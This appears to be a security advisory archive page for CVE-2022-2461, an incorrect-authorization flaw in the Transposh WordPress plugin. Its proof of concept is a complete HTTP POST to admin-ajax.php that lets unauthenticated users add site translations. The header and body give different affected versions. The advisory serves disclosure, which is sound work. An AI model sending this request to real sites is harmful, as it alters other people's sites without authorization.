Transposh WordPress Translation 1.0.7 Incorrect Authorization

Authored by Julien Ahrens | Site rcesecurity.com

Posted Jul 29, 2022

Transposh WordPress Translation versions 1.0.7 and below suffer from an incorrect authorization vulnerability. When installed, Transposh comes with a set of pre-configured options, one of these is the "Who can translate" setting under the "Settings" tab, which by default allows "Anonymous" users to add translations via the plugin's "tp_translation" ajax action. Successful exploits can allow an unauthenticated attacker to add translations to the WordPress site and thereby influence what is actually shown on the site.

tags | exploit
advisories | CVE-2022-2461
SHA-256 | c25e589bc0f339822e669aa5ee336af340896bf3579587f6ad8e5c6ae0691179 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Incorrect Authorization [CWE-863]
Date found:     2022-07-13
Date published: 2022-07-22
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE:            CVE-2022-2461


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
When installed Transposh comes with a set of pre-configured options, one of these
is the "Who can translate" setting under the "Settings" tab, which by default
allows "Anonymous" users to add translations via the plugin's "tp_translation"
ajax action.

Successful exploits can allow an unauthenticated attacker to add translations to
the WordPress site and thereby influence what is actually shown on the site.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/2
Host: [host]
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

action=tp_translation&ln0=en&sr0=rcesecurity.com&items=1&tk0=rcesecurity.com&tr0=rcesecurity.com


7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.


8. REPORT TIMELINE
==================
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
2022-07-13: Discovery of the vulnerability
2022-07-13: CVE requested from WPScan (CNA)
2022-07-18: No response from WPScan
2022-07-18: CVE requested from Wordfence (CNA) instead
2022-07-18: Sent note to vendor
2022-07-18: Wordfence assigns CVE-2022-2461
2022-07-20: Since there are currently no plans to provide fixes at all:
2022-07-22: Public disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
```

Login or Register to add favorites

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed

packet storm